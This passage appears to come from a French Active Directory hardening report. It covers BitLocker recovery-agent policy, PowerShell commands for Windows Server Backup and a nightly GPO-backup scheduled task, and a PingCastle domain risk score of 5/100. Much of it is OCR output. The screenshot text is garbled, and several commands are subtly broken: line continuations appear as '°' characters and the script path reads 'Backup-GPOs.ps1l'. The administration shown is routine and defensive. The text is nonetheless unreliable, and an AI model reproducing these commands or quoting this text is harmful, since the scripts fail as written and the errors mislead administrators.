The "Allow certificate-based data recovery agent” check box is
used to specify whether a data recovery agent can be used with
BitLocker-protected operating system drives, Before a data
recovery agent can be used it must be added from the Public Key
Policies item in either the Group Policy Management Console or
the Local Group Policy Editor. Consult the BitLocker Drive
Encryption Deployment Guide an Micrasoft TechNet far more
information about adding data recovery agents.

In "Configure user storage of BitLocker recovery information”
select whether users are allowed, required, or not allowed to
generate a 48-digit recovery password ar a 256-bit recovery key.

Select "Omit recovery options from the BitLocker setup wizard"
to prevent users from specifying recovery options when they
turn on BitLocker on a drive. This means that you will not be able
to specify which recavery option to use when you tum on
BitLocker, instead BitLocker recovery options for the drive are

0K Cancel Appl

Il est nécessaire d'avoir le Secure Boot et le TPM.

5.13 Créer une backup

Install-WindowsFeature -Name Windows-Server-Backup -IncludeManagementTools
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Backup des GPO :

Backup-Gpo -All -Path $BackupPath

Backup du systeme :

$Policy = New-WBPolicy

$TargetVolume = Get-WBVolume -VolumePath "D:"
$BackupTarget = New-WBBackupTarget -Volume $TargetVolume
Add-WBBackupTarget -Policy $Policy -Target $BackupTarget

Add-WBSystemState -Policy $Policy
Add-WBBareMetalRecovery -Policy $Policy

# Automatisation

Set-WBSchedule -Policy $Policy -Schedule (Get-Date "23:00")
Set-WBPolicy -Policy $Policy

Automatisation des GPO via tache planifiée :

$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" °
-Argument "-NoProfile -ExecutionPolicy Bypass -File C:\Scripts\Backup-GPOs.ps1l"

$Trigger = New-ScheduledTaskTrigger -Daily -At "23:30"

$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" °
-LogonType ServiceAccount -RunLevel Highest

$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal

Register-ScheduledTask -TaskName "AD-Backup-GPO" -InputObject $Task °
-Description "Sauvegarde quotidienne des GPOs"

Le score PingCastle a la fin de notre hardening :
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L

£y Domain Risk Level 5 /100

Indicators

~ Iltis the {0 score of the 4 and one score cannot be higher than 100. The lower the befter
Compare with statistics

Privacy notice

100

0 rules

Stale Object : 5 100 9 rules Trusts : 0/100
~ matched matched
‘ It is about operations related to user or t It is about connections between two Active
computer objects Directories
a “" o a ™

Privileged Accounts : 0 /100 1 rules Anomalies : 5 /100 9 rules
matched matched
It is about administrators of the Active It is about specific security control points

Avec notre matrice de risque :

Risk model
Lefi-click on the headlines in the boxes for more details

Stale Objects Privileged accounts Trusts Anomalies

Account take over 0Old trust profocol _

Network fopography ACL Check SID Filtering Backup

Inactive user or computer

Object configuration Admin control SIDHistory Certificate take over
omoeos | comorpums e ——

Old authentication profocols QEEEE T EE e 4 Trust inactive Local group vulmerability

Provisioning

Replication Privilege control Pass-the-credential

Vulnerability management | Read-Only Domain Conirollers Password refrieval

Reconnaissance

Temporary admins

Weak password

Les 5 points restants sont dus a des postes sous Windows 10 et au fait qu'il n'y a qu'un seul
DC.
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